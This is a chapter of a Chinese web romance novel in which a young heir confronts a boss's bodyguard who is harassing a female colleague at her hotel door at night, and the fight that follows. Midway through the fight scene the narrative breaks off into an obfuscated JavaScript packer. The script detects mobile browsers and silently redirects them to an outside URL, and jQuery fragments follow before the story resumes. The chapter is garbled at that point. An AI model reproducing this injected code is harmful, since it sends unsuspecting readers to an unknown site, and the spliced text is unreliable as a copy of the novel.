15. 撕破脸

作品:《绯闻情人[因恨生爱]

    陈柯杨刚在米其林餐厅享用了一顿丰盛的晚餐,肚子塞得满满当当,根本吃不下略显油腻的街边炒饭,不过他看袋子里橘子个头饱满,色泽鲜亮,便随手拿起一个剥了皮吃。


    别说,还真挺甜。


    电视里播着最近很火的都市言情剧,女主角是合光科技的品牌大使安胥宁。人是漂亮的,就是剧情太老套——经典的霸道总裁追妻火葬场。


    真搞不懂,为什么女人总爱在有钱男人身上寄托不切实际的幻想。能当上总裁的人,哪个不是心眼比筛子还密?还能被没吃过几两细米的小丫头拿捏了?


    他掰着橘子瓣,忽然想起了“霸道总裁”沈让和他的“小娇妻”秦雨寺。真奇怪,孤男寡女深更半夜在走廊里拉扯,拍言情剧吗?


    总不会真是沈让在耍流氓吧?


    他咽下嘴里的橘子,马上否定了这个想法——沈让虽然不是什么好东西,但基本的法律意识总该有吧?酒店走廊里到处都是监控,他敢这么嚣张?


    电视上开始播广告了,他拿出手机摆弄了一会儿,没有收到秦雨寺的消息,心想今晚大概就这么平静的过去了。


    躺到床上,他翻来覆去怎么也睡不着,总感觉胸口闷得喘不过来气。


    唉,真想再开一间大套房啊!


    他怀疑自己是不是脑子进水了——人生在世三万天,他竟然为了一个恶毒的女人,浪费掉万分之一的美好夜晚,真是亏死了!


    他翻了个身,看了眼表,正正好好十二点。熬夜伤肝伤肾伤皮肤,估计秦雨寺早就去跟周公约会了,哦不对,外国人的梦应该不归周公管.....


    一通胡思乱想后,好不容易有了点困意,却突然听到外面传来“哐哐”的砸门声。


    好在砸的不是他的门。


    不过深更半夜的,谁踏马这么没素质啊!


    他用枕头死死捂住耳朵,足足忍了三分钟,那震天响的动静依然没有停歇的意思。


    陈二少爷住这么个小标间已经够憋屈了,还得忍受要命的噪声,有没有天理了?


    他一个鲤鱼打挺从床上弹起来,三步并两步走到门口,透过猫眼往外看去。


    这一看,着实吓了一跳——


    走廊里灯光昏暗,秦雨寺房门前立着一个巨大的黑影,约莫有六尺高,两尺宽,最上方闪烁着一片光亮,像个探照灯似的。


    揉了揉眼睛仔细看,才发现这是个身材极其魁梧的光头壮汉,正在用沙包似的拳头狂砸秦雨寺的房门——幸亏酒店装的是不锈钢防盗门,不然早就砸得稀巴烂了。


    咋的?这是惹上黑/涩/会了?


    陈柯杨活动了一下手腕,心里暗暗盘算:虽然这家伙块头吓人,但咱十年多的散打也不是白练的——只要从背后锁住他的脖子,膝盖顶进腿弯,再一个扭身将他撂倒,朝秃脑瓢上补上几脚,这人就报废了。


    当然,脑补一下而已。他可是遵纪守法的好公民,这种时候自然得叫保安了。


    他拿起手机,刚要拨酒店前台的号码,就听见门外的大哥开口了。


    ——秦姐,别误会啊,老板没别的意思,就是想请你上去聊聊,给你赔个不是。


    ——拜托给个面子,你再不出来,我可交不了差了。


    ——你又不是不知道老板的犟脾气,跟他对着干有什么好处?把话说开了,大家都轻松。


    接着又是一阵震天响的砸门声:“你再不开门我可要动粗了,搞不好闹进局子里,你也得跟我一起兜着。”


    敢情霸道总裁俏助理的言情剧还没演完啊!


    陈柯杨拨号的手停了下来,正犹豫着要不要管人家的私事,就听见对面的房门“咔嚓”一声打开了。他赶紧把眼睛凑到猫眼上。


    秦雨寺是公认的第一眼美女。她有着176的高挑身材;混着斯拉夫血统的雪白皮肤;一头如瀑般的齐腰长发,丢在人堆里就是最闪耀的存在。然而,这些美丽的特征出现在午夜昏黄的灯光下,有点像鬼片里带着满身怨气归来的女鬼,怪瘆人的。


    她似乎在跟那秃头说什么,但声音压得很低,完全听不清楚。


    没一会儿,秃头的情绪突然激动起来:“我是按老板的吩咐来的,你可别没事找事!”


    “靠,当了婊子还要立牌坊,谁不知道你是怎么上位的,跟老子在这儿装起来了,丫的不就是一只进口鸡吗?”


    “砰”的一声,陈柯杨自己都没反应过来咋回事,房门已经被他一脚踹开了。


    靠,冲动了!不过事已至此,怂是不可能怂的。他往前一步,冲那秃头怒吼:“大半夜不睡觉,吵什么吵,有没有公德心啊?”


    听到动静,秃头斜睨了他一眼,随即轻蔑地扯了下嘴角,显然没把他放在眼里:“我们说点事,一会儿就走。”


    “都特么闹了半个小时了,当别人是聋子吗?再不滚蛋我就打前台电话了。”


    秃头理直气壮:“你出门不戴耳机?把耳朵堵一会儿能死啊?怕吵就躲家里别出门,一个大老爷们儿这么矫情。”


    陈柯杨毫不退让:“我怀疑你正在违背妇女意愿,从事违法犯罪活动!再不走我就打110了!”


    “你小子脑袋被驴踢了吧?我俩是同事,搁这儿聊工作呢,少管闲事,赶紧滚蛋!”


    “放屁!我跟Daria才是同事,怎么从来没见过你?”


    啥玩意儿?秃头明显愣住了。沈老板明明说这层楼没几个住客,秦雨寺脸皮又薄,让他放开手脚使劲闹,怎么没提对门还住了个男同事?这要是传出去,恐怕影响不太好吧?


    秦雨寺开口证实了陈柯杨的身份:“他是总经办新来的同事,明天要跟我一起去会场。”


    又道:“时候不早了,我们要休息了,你也赶紧回去吧。”


    秃头暗自权衡:如果完不成沈让交代的任务,保不准明天就得卷铺盖滚蛋了。现在市场行情这么差,上哪再找一份油水丰厚的差事?至于这个新来的......新来的懂个屁啊!


    “秦小姐,拿人钱财替人消灾,老板交代的事儿我不能不办,得罪了。”


    说罢,他用蒲扇般的大手一把扣住秦雨寺的手腕,毫无预兆地往前一拽。秦雨寺身子前倾,脚下打滑,差点摔倒在地。


    陈柯杨看得眼底冒火,直接啐道:“马的,给你脸了是不是?”


    他也顾不上什么章法,抡起拳头就朝眼前那颗秃脑瓜锤了过去。


    没成想,这家伙脑袋硬得像镀了层不锈钢,一拳下去手都震麻了,他竟然屁事没有。


    他转过头,眼里冒着凶光:“你敢打老子?!”


    “揍的就是你这个臭傻*!”


    话音未落,秃头的手刀已经带着劲风劈了过来,要是中招,估计半边肩膀就废了,好在陈柯杨有散打底子,轻巧地一个闪身,避开了凶狠的攻击。他心想:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371679|183805||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    既然不怕死,爷就陪你玩玩,反正又不是赔不起。


    豪门世家的孩子从小就会学些防身之术。陈柯杨体格好,又对散打感兴趣,出国后还专门请了教练定期训练,对付99%的普通人都绰绰有余。


    但他没想到,这秃头曾经是职业拳击运动员,拿过三次国际大赛冠军,退役后被沈让高薪聘为司机兼保镖,打趴99.99%的普通人都是小菜一碟。


    业余强者对上专业王者,差距还是很残酷的。两招过后,陈柯杨已经感觉难以招架。第三次交手,秃头直接一拳挥到了他脸上。


    最开始没感觉疼,只是半边脸瞬间麻了,耳朵里面嗡嗡作响。几秒后,一股腥甜的滋味在口腔里弥漫开来,伸手一抹,果然见血了。


    出生在云端的人,看别人打架斗殴,就像在马戏团里看大猩猩表演杂技。


    陈柯杨做梦都没想到,自己也有挨揍的一天,还是当着女人的面,这跟被扒光了吊在耻辱柱上有什么区别?


    他强撑着站直身子,眼睛里发了狠。


    秃子打过上千场擂台,最痛恨的就是这种死不服输的犟种。一瞬间,他感觉胸口那团沉寂已久的战火重燃起来,恨不得立刻将这小子锤成肉泥。


    然而此时,秦雨寺挡在了陈柯杨身前。


    她那双清冷如水的眸子里,难得露出一丝厌恶之色:“David,闹够了没有?


    秃头满脸不屑地撇了下嘴:“切,要不是你死犟,我吃饱了撑的在这儿练拳?”


    他以为秦雨寺怕了,想要服软,便收起拳头转身往回走,然而走出了好几步远,后面都没有人跟上来。


    回头看去,只见秦雨寺将陈柯杨紧紧护在身后,美目上扬,活像一只随时发飙的母老虎。


    即使竭力克制着情绪,她的声音依然微微颤抖:“你去告诉沈让,别欺人太甚。”


    “我秦雨寺不是任人拿捏的软柿子,既然他不怕事,那我们就鱼死网破好了!”


    “Chris,报警!”


    看她来真的,秃头先是怔了一下,随即马上扑过去抢陈柯杨的手机。


    秦雨寺早就预判,脖子一扬,死死挡在陈柯杨身前,一副“你能拿老娘怎么样”的架势。


    别说,秃头还真不敢拿她怎么样。万一这娘们将来走了狗屎运,真当上老板娘,他还能有好果子吃吗?当然,就她这倔驴脾气,多半是没戏。


    “我说Daria,你这样就没劲了,咱们都是一个锅里吃饭的,又不是仇人。”


    秦雨寺眸光冰冷,从牙缝里一字一句地挤出来:“把我的话原原本本转达给沈让,我没他想象的那么有良心,大不了就一拍两散。”


    “忒,装什么装啊,好像沈总欠了你八千万似的。”


    秃头嘴上不饶人,身子却悄悄往后退了几步:“你这娘们也就敢在我面前耍威风,等着吧,一会儿沈总亲自下来收拾你!”


    待他走后,秦雨寺立刻拉着陈柯杨进了自己的房间。


    昏黄的落地灯下,年轻男孩靠坐在沙发上,半边脸肿得老高,乌青的嘴角还挂着一抹血迹。


    而他那双微微泛红的柳叶眼里,说不清是委屈还是难堪。


    秦雨寺在他面前半蹲下来,调了调落地灯的角度,仔细端详他的伤势,过了半晌,才皱着眉头问:“感觉怎么样?有事吗?”


    陈柯杨抬起眼来,可怜兮兮地回:“有事。”